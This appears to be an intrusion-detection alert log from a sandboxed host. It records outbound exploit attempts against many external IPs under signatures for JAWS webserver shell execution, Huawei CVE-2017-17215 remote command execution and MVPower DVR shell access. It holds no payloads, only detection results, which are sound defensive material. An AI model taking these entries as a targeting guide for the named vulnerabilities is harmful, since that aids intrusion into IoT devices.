06/10/24-15:38:02.225841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55050	80	192.168.2.13	77.78.60.243
06/10/24-15:38:02.228512	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48208	80	192.168.2.13	82.151.58.140
06/10/24-15:38:02.640548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52172	37215	192.168.2.13	197.78.160.7
06/10/24-15:37:59.818135	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40194	80	192.168.2.13	111.31.234.213
06/10/24-15:38:02.497343	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58434	37215	192.168.2.13	197.149.87.73
06/10/24-15:38:02.865201	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38730	37215	192.168.2.13	156.8.50.69
06/10/24-15:37:59.804504	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35958	80	192.168.2.13	158.214.75.80
06/10/24-15:38:00.252450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37234	37215	192.168.2.13	197.176.22.163
06/10/24-15:38:00.253141	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42484	37215	192.168.2.13	197.229.179.187
06/10/24-15:38:00.248014	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34566	37215	192.168.2.13	156.132.214.203
06/10/24-15:38:02.717243	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37456	37215	192.168.2.13	156.79.80.1
06/10/24-15:38:02.804169	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41386	37215	192.168.2.13	41.0.102.53
06/10/24-15:37:59.829282	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35066	80	192.168.2.13	74.221.113.140
06/10/24-15:38:02.813306	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50454	37215	192.168.2.13	156.192.98.232
06/10/24-15:37:59.969655	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49034	37215	192.168.2.13	197.216.238.129
06/10/24-15:38:02.099888	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50944	80	192.168.2.13	177.48.23.109
06/10/24-15:37:59.966319	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41788	37215	192.168.2.13	197.234.232.228
06/10/24-15:38:02.921767	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37950	37215	192.168.2.13	41.78.178.23
06/10/24-15:37:59.847523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58522	80	192.168.2.13	92.126.239.180
06/10/24-15:38:02.732625	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45998	37215	192.168.2.13	197.6.6.199
06/10/24-15:38:02.713903	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50702	37215	192.168.2.13	156.244.102.173
06/10/24-15:38:02.223515	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43716	80	192.168.2.13	12.140.219.78
06/10/24-15:38:02.203856	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55756	80	192.168.2.13	105.96.207.144
06/10/24-15:38:02.868091	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40972	37215	192.168.2.13	197.16.236.173
06/10/24-15:38:02.132169	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37608	80	192.168.2.13	48.136.166.233
06/10/24-15:38:00.012098	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50268	37215	192.168.2.13	197.128.25.119
06/10/24-15:38:00.178071	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44078	37215	192.168.2.13	41.69.149.120
06/10/24-15:38:02.768716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53660	37215	192.168.2.13	41.150.135.103
06/10/24-15:37:59.874568	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57824	80	192.168.2.13	135.106.4.49
06/10/24-15:38:00.263049	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57558	37215	192.168.2.13	41.109.88.228
06/10/24-15:38:02.234846	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33624	80	192.168.2.13	169.200.159.28
06/10/24-15:38:00.258036	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52852	37215	192.168.2.13	197.130.110.26
06/10/24-15:38:02.492497	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46236	37215	192.168.2.13	197.115.124.164
06/10/24-15:38:02.507632	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60618	37215	192.168.2.13	156.211.140.83
06/10/24-15:38:02.666292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34524	37215	192.168.2.13	197.151.209.193
06/10/24-15:38:00.193307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34652	37215	192.168.2.13	41.154.67.6
06/10/24-15:38:02.500887	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34050	37215	192.168.2.13	156.155.61.239
06/10/24-15:38:00.234498	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43084	37215	192.168.2.13	156.178.253.203
06/10/24-15:38:02.495196	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51876	37215	192.168.2.13	156.66.48.9
06/10/24-15:38:02.677116	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45284	37215	192.168.2.13	156.224.70.86
06/10/24-15:38:02.724796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52760	37215	192.168.2.13	197.28.22.183
06/10/24-15:38:02.651590	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45096	37215	192.168.2.13	197.64.191.165
06/10/24-15:38:02.248692	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57952	80	192.168.2.13	123.21.144.92
06/10/24-15:38:02.137030	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59546	80	192.168.2.13	5.5.59.135
06/10/24-15:38:02.150336	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56144	80	192.168.2.13	124.126.246.197
06/10/24-15:37:59.992906	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33394	37215	192.168.2.13	156.168.136.24
06/10/24-15:38:02.757283	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44434	37215	192.168.2.13	156.248.183.47
06/10/24-15:38:02.754766	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59676	37215	192.168.2.13	197.243.121.228
06/10/24-15:38:02.735960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47608	37215	192.168.2.13	156.1.86.198
06/10/24-15:38:02.199023	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58564	80	192.168.2.13	111.183.120.0
06/10/24-15:37:59.769858	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39338	80	192.168.2.13	193.5.227.125
06/10/24-15:38:02.237504	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40702	80	192.168.2.13	146.240.196.221
06/10/24-15:38:00.164438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48850	37215	192.168.2.13	156.202.215.189
06/10/24-15:37:59.977354	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60878	37215	192.168.2.13	41.140.184.247
06/10/24-15:38:00.134301	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45440	37215	192.168.2.13	197.110.124.70
06/10/24-15:37:59.963760	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46788	37215	192.168.2.13	197.91.250.61
06/10/24-15:38:02.672216	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38730	37215	192.168.2.13	197.176.219.219
06/10/24-15:37:59.867470	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49412	80	192.168.2.13	64.204.248.79
06/10/24-15:38:02.876052	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47002	37215	192.168.2.13	197.80.176.118
06/10/24-15:37:59.952964	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56508	37215	192.168.2.13	197.35.253.5
06/10/24-15:37:59.994517	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39806	37215	192.168.2.13	197.99.205.156
06/10/24-15:38:00.186850	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33396	37215	192.168.2.13	41.55.41.178
06/10/24-15:38:02.785256	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60856	37215	192.168.2.13	197.82.79.198
06/10/24-15:37:59.968007	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58160	37215	192.168.2.13	197.119.156.133
06/10/24-15:38:00.000374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42520	37215	192.168.2.13	156.225.196.18
06/10/24-15:38:02.301885	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41090	80	192.168.2.13	61.254.239.187
06/10/24-15:38:02.650127	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36866	37215	192.168.2.13	197.35.156.28
06/10/24-15:38:02.704450	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40856	37215	192.168.2.13	41.213.236.151
06/10/24-15:38:02.725896	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50012	37215	192.168.2.13	197.50.7.2
06/10/24-15:38:02.133348	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50348	80	192.168.2.13	43.251.181.10
06/10/24-15:38:00.224996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55062	37215	192.168.2.13	197.141.161.30
06/10/24-15:38:02.494522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39212	37215	192.168.2.13	41.246.40.161
06/10/24-15:38:02.262402	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34602	80	192.168.2.13	198.106.193.191
06/10/24-15:38:02.087778	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46684	80	192.168.2.13	62.168.165.136
06/10/24-15:38:02.161006	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60032	80	192.168.2.13	197.140.85.190
06/10/24-15:38:02.173963	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48168	80	192.168.2.13	120.230.204.15
06/10/24-15:37:59.941006	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33514	37215	192.168.2.13	156.78.13.161
06/10/24-15:38:02.319024	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52686	80	192.168.2.13	51.122.138.133
06/10/24-15:38:02.148491	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53442	80	192.168.2.13	115.50.164.90
06/10/24-15:38:00.213967	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58106	37215	192.168.2.13	197.144.113.129
06/10/24-15:38:02.170905	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57200	80	192.168.2.13	18.100.79.93
06/10/24-15:38:00.014911	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38984	37215	192.168.2.13	156.122.137.98
06/10/24-15:38:02.490299	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54648	37215	192.168.2.13	156.113.194.151
06/10/24-15:38:00.257346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32950	37215	192.168.2.13	156.146.151.12
06/10/24-15:38:02.143761	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50320	80	192.168.2.13	121.144.172.154
06/10/24-15:38:02.719824	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37502	37215	192.168.2.13	41.180.76.156
06/10/24-15:38:02.653315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57296	37215	192.168.2.13	41.208.114.199
06/10/24-15:37:59.978246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60256	37215	192.168.2.13	41.204.133.93
06/10/24-15:37:59.975667	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36530	37215	192.168.2.13	156.231.3.185
06/10/24-15:38:02.858288	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49962	37215	192.168.2.13	197.135.181.98
06/10/24-15:37:59.985167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57818	37215	192.168.2.13	156.159.10.140
06/10/24-15:38:02.324002	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44934	80	192.168.2.13	129.212.137.97
06/10/24-15:38:00.007220	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53538	37215	192.168.2.13	41.236.7.25
06/10/24-15:38:02.503623	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36608	37215	192.168.2.13	156.212.201.147
06/10/24-15:38:02.488251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33812	37215	192.168.2.13	156.106.75.142
06/10/24-15:38:02.741975	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53950	37215	192.168.2.13	41.157.185.2
06/10/24-15:38:02.642678	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41888	37215	192.168.2.13	156.17.79.89
06/10/24-15:37:59.745869	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37862	80	192.168.2.13	203.54.242.166
06/10/24-15:38:00.131221	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48102	37215	192.168.2.13	41.41.194.38
06/10/24-15:38:00.214768	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50926	37215	192.168.2.13	197.29.244.234
06/10/24-15:38:02.933795	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52838	37215	192.168.2.13	41.70.30.5
06/10/24-15:38:00.251690	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51740	37215	192.168.2.13	156.89.192.95
06/10/24-15:38:00.014210	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56360	37215	192.168.2.13	41.241.121.248
06/10/24-15:38:02.667443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56504	37215	192.168.2.13	197.126.48.116
06/10/24-15:38:02.166379	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54382	80	192.168.2.13	14.141.30.155
06/10/24-15:37:59.756001	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53434	80	192.168.2.13	70.156.171.43
06/10/24-15:38:02.846884	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53768	37215	192.168.2.13	156.122.197.14
06/10/24-15:38:02.110350	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37622	80	192.168.2.13	207.225.19.48
06/10/24-15:38:02.692312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55186	37215	192.168.2.13	41.65.34.75
06/10/24-15:38:00.194715	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37402	37215	192.168.2.13	197.153.65.158
06/10/24-15:38:00.227634	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56846	37215	192.168.2.13	41.31.222.74
06/10/24-15:38:02.229897	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	56566	80	192.168.2.13	12.118.28.92
06/10/24-15:38:02.675728	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33814	37215	192.168.2.13	41.205.27.222
06/10/24-15:38:00.015623	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40590	37215	192.168.2.13	41.194.61.76
06/10/24-15:38:02.119966	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38652	80	192.168.2.13	78.106.130.5
06/10/24-15:38:02.639134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37932	37215	192.168.2.13	156.242.158.116
06/10/24-15:38:02.680398	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39902	37215	192.168.2.13	41.164.87.115
06/10/24-15:37:59.957760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51050	37215	192.168.2.13	41.41.95.201
06/10/24-15:38:00.270070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33262	37215	192.168.2.13	41.249.87.250
06/10/24-15:38:02.748143	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48954	37215	192.168.2.13	41.242.83.117
06/10/24-15:38:02.821238	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32890	37215	192.168.2.13	41.59.132.123
06/10/24-15:38:02.096951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44218	80	192.168.2.13	217.26.244.68
06/10/24-15:38:02.663241	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54254	37215	192.168.2.13	156.225.226.13
06/10/24-15:38:00.200487	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38990	37215	192.168.2.13	197.73.57.101
06/10/24-15:38:00.218890	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47364	37215	192.168.2.13	156.60.167.234
06/10/24-15:38:00.182265	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34830	37215	192.168.2.13	197.26.246.153
06/10/24-15:38:02.908641	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58970	37215	192.168.2.13	156.202.174.167
06/10/24-15:38:02.761061	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36230	37215	192.168.2.13	197.0.213.101
06/10/24-15:38:02.089268	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40248	80	192.168.2.13	51.171.172.212
06/10/24-15:38:02.716092	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42970	37215	192.168.2.13	156.28.97.254
06/10/24-15:38:02.785256	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60856	37215	192.168.2.13	197.82.79.198
06/10/24-15:38:02.749574	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45224	37215	192.168.2.13	197.93.109.120
06/10/24-15:38:02.729371	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60038	37215	192.168.2.13	41.46.72.248
06/10/24-15:38:02.083879	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45866	80	192.168.2.13	181.113.46.125
06/10/24-15:38:02.870630	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56808	37215	192.168.2.13	156.103.106.207
06/10/24-15:37:59.963760	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46788	37215	192.168.2.13	197.91.250.61
06/10/24-15:38:02.860487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44080	37215	192.168.2.13	41.39.148.204
06/10/24-15:38:00.250289	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58062	37215	192.168.2.13	197.241.255.243
06/10/24-15:38:02.673517	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38196	37215	192.168.2.13	197.217.153.165
06/10/24-15:37:59.956134	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38414	37215	192.168.2.13	156.167.122.41
06/10/24-15:38:02.202496	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47442	80	192.168.2.13	96.134.106.53
06/10/24-15:37:59.867470	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49412	80	192.168.2.13	64.204.248.79
06/10/24-15:38:02.643438	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54252	37215	192.168.2.13	156.20.242.161
06/10/24-15:38:02.828946	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55338	37215	192.168.2.13	197.51.133.84
06/10/24-15:38:00.207478	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59202	37215	192.168.2.13	156.200.117.215
06/10/24-15:38:02.837956	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51482	37215	192.168.2.13	156.161.132.25
06/10/24-15:38:00.133538	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35252	37215	192.168.2.13	41.136.197.138
06/10/24-15:37:59.829282	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35066	80	192.168.2.13	74.221.113.140
06/10/24-15:37:59.951337	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38428	37215	192.168.2.13	197.123.58.130
06/10/24-15:37:59.927927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41114	37215	192.168.2.13	156.18.195.164
06/10/24-15:38:02.656592	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34154	37215	192.168.2.13	156.66.27.141
06/10/24-15:38:02.242403	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53060	80	192.168.2.13	172.164.171.65
06/10/24-15:37:59.922412	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49110	37215	192.168.2.13	156.143.243.166
06/10/24-15:37:59.937775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51088	37215	192.168.2.13	156.185.143.113
06/10/24-15:38:02.189767	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51664	80	192.168.2.13	175.66.140.251
06/10/24-15:37:59.996136	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60446	37215	192.168.2.13	197.226.229.29
06/10/24-15:38:02.241022	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55470	80	192.168.2.13	223.191.85.169
06/10/24-15:38:02.316251	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33330	80	192.168.2.13	216.190.189.185
06/10/24-15:38:02.701067	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35468	37215	192.168.2.13	41.229.41.14
06/10/24-15:38:00.025563	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40448	37215	192.168.2.13	156.11.232.27
06/10/24-15:37:59.797691	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39842	80	192.168.2.13	13.159.171.238
06/10/24-15:38:02.658653	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58346	37215	192.168.2.13	156.2.142.241
06/10/24-15:38:00.037730	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50096	37215	192.168.2.13	156.175.16.45
06/10/24-15:37:59.959524	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47272	37215	192.168.2.13	41.201.89.180
06/10/24-15:38:02.863237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37642	37215	192.168.2.13	41.14.234.212
06/10/24-15:38:00.171881	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37844	37215	192.168.2.13	156.195.94.23
06/10/24-15:38:02.717243	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37456	37215	192.168.2.13	156.79.80.1
06/10/24-15:38:00.024162	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52364	37215	192.168.2.13	197.238.227.229
06/10/24-15:38:02.252101	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39716	80	192.168.2.13	41.163.180.55
06/10/24-15:38:02.162773	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35750	80	192.168.2.13	81.247.181.180
06/10/24-15:38:02.251453	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42358	80	192.168.2.13	100.127.78.32
06/10/24-15:38:02.313323	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34228	80	192.168.2.13	177.204.177.37
06/10/24-15:38:00.237158	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42124	37215	192.168.2.13	41.235.244.224
06/10/24-15:38:00.245474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43920	37215	192.168.2.13	156.244.109.56
06/10/24-15:38:02.682611	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53394	37215	192.168.2.13	156.208.52.212
06/10/24-15:38:02.191670	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55284	80	192.168.2.13	101.205.228.142
06/10/24-15:38:02.711502	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56870	37215	192.168.2.13	41.91.70.189
06/10/24-15:38:02.498786	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47358	37215	192.168.2.13	197.25.178.38
06/10/24-15:37:59.946836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53482	37215	192.168.2.13	156.82.1.213
06/10/24-15:38:02.641252	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47262	37215	192.168.2.13	41.229.155.150
06/10/24-15:38:00.032756	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42506	37215	192.168.2.13	197.235.137.220
06/10/24-15:38:00.244658	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47540	37215	192.168.2.13	41.182.154.164
06/10/24-15:38:02.152274	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48888	80	192.168.2.13	175.66.114.182
06/10/24-15:38:02.871465	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38466	37215	192.168.2.13	197.29.159.134
06/10/24-15:38:00.019152	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57320	37215	192.168.2.13	156.12.201.188
